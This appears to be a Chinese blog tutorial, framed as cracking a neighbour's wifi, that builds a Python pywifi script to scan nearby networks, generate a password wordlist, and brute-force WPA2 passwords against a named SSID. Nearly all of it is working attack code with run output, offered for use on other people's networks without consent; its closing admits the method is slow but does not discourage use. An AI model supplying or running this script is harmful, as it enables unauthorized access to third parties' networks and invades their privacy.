女朋友让你帮他破解邻居家的wifi？看完这篇文章你就会了

现在的年轻人没网可不行，家里没有网络的也都会搜索看看附近有没有能够连接的网络，可是没有密码该怎么办呢，很多人都会想到用万能钥匙，那么本篇文章我们就用Python来自己实现一下wifi密码的破解。

模块介绍

Python提供了一个用于操作无线接口的跨平台模块：pywifi。
所以我们先将该模块下载好，下载指令：pip install pywifi。关于pywifi模块的使用这里有介绍：https://github.com/awkman/pywifi/blob/master/DOC.md，感兴趣的同学可以进去看看。

模块初体验

安装好模块之后，我们来尝试着使用一下，新建一个.py文件，将模块导入：

import pywifi
# 需要下载该模块comtypes
from pywifi import const

这里的第二行代码意思是引用pywifi模块中定义的常量，引入后就可以直接使用了。

判断是否连接到wifi环境

pywifi模块如何判断我们当前是否已经连接了wifi呢？很简单：

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]print(ifaces.name())gic()

首先创建一个无线对象，通过该对象调用interfaces()方法可以获得网卡列表，通常，一个平台只有一个wifi接口，所以直接取索引0获得我们的网卡对象，并打印其名称，运行结果为：

Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]

然后我查看了自己的网卡名称：

说明刚才的程序已经成功获取到了网卡对象，通过该对象调用status()方法能够知晓我们的wifi状态，比如：

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]print(ifaces.status())gic()

此时运行程序，结果为：

4
[Finished in 0.7s]

实际上，wifi共有四种状态，分别为：

const.IFACE_DISCONNECTED：值为0，表示未连接
const.IFACE_SCANNING：值为1，表示正在扫描
const.IFACE_INACTIVE：值为2，表示未激活
const.IFACE_CONNECTING：值为3，表示正在连接
const.IFACE_CONNECTED：值为4，表示已连接

从这些常量定义中，可以得知我的电脑目前是连接了wifi的，事实也确实如此：

所以如何实现判断当前是否连接到了wifi，代码如下：

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]# 判断wifi状态if ifaces.status() == const.IFACE_CONNECTED:print("已连接")else:print("未连接")gic()

运行结果：

已连接
[Finished in 0.8s]

扫描附近的wifi

再介绍一下如何使用pywifi模块扫描附近的wifi：

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 扫描附近的wifi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描wifiifaces.scan()# 获取扫描结果result  = ifaces.scan_results()for data in result:# ssid为wifi的名称print(data.ssid)bies()

想实现这个功能非常简单，还是先获取到网卡对象，然后调用该对象的scan()方法进行扫描，并调用scan_results()获取扫描结果，最后遍历一下内容，运行结果为：

Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402PHICOMM_9A6656
[Finished in 1.2s]

看来我附近的wifi还是挺多的哈，当然这是未连接wifi的结果，如果你已经连接上了wifi，它将只能扫描到已连接的wifi，比如我连接上wifi后再运行程序，结果为：

Tenda_29F708
Tenda_29F708
[Finished in 0.9s]

断开wifi连接

所以不管你当前是否连接上了网络，在开始破解之前，我得先将wifi断开连接：

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiConnection()

尝试连接wifi

接下来就是最为重要的一个功能，连接wifi，通过pywifi连接wifi需要以下几个步骤：

创建wifi连接文件
确定要连接的wifi名称
确定wifi的密码
确定wifi的加密算法
对网卡开放
确定加密单元
删除之前的所有wifi文件
添加自己创建的wifi文件
使用新的wifi文件进行连接

按照这些步骤进行编写，代码如下：

# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiStatus = ifaces.status()if wifiStatus == const.IFACE_DISCONNECTED:# 创建wifi的连接文件profile = pywifi.Profile()  # 要连接wifi的名称profile.ssid = "Tenda_29F708"# 对网卡开放profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件去测试连接ifaces.connect(tep_profile)# 给wifi一个连接的时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")

在上面的一系列步骤中，仅有一步内容是不确定的，那就是wifi的密码，我们并不知道wifi的密码，所以我们的想法是不断地将某个密码传入进行测试连接，若连接失败，则换个密码继续尝试直至连接成功。

关键就是这个wifi的密码该如何生成呢？这个在网上去搜其实有很多：

当然你也可以自己生成密码本，不过自己生成的肯定没有人家的全面，要生成密码本也很简单，代码如下：

import itertools as its
# 迭代器words = "123"r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:dic.write("".join(i))dic.write("".join("\n"))
dic.close()

运行程序，产生wifipwd.txt文本，文本内容为：

不过wifi的密码远没有这么简单，它应该包含数字、大小写字母甚至是特殊字符，所以自己写的密码本俨然不够全面，比如：

import itertools as its
# 迭代器words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"# repeat表示生成的密码位数
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:dic.write("".join(i))dic.write("".join("\n"))
dic.close()

该程序能够生成8位含数字、大小写字母的wifi密码。

开始破解

一切工作准备就绪，可以开始破解了，破解过程即：读取密码本，将密码本中的密码不断地传入测试连接的函数，如此反复，直到连接成功，程序完整代码如下：

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]if ifaces.status() == const.IFACE_CONNECTED:print("已连接")else:print("未连接")# 扫描附近的wifi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描wifiifaces.scan()# 获取扫描结果result  = ifaces.scan_results()for data in result:# ssid为wifi的名称print(data.ssid)# 读取密码本
def readPassword():print("开始破解：")# 密码本路径path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"# 打开文件file = open(path,"r")while True:try:# 读取一行password = file.readline()bool = wifiConnection(password)if bool:print("密码正确",password)breakelse:print("密码不正确",password)except:continue# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiStatus = ifaces.status()if wifiStatus == const.IFACE_DISCONNECTED:# 创建wifi的连接文件profile = pywifi.Profile()  # 要连接wifi的名称profile.ssid = "Tenda_29F708"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件去测试连接ifaces.connect(tep_profile)# 给wifi一个连接的时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")readPassword()

到这里，破解wifi程序就完成了，如果你理解了这个程序会发现，这种方式去破解wifi显然很糟糕，如果wifi密码很简单的话，应该还是能够破解出来的，只是时间问题(如果你有一个完善的密码本)。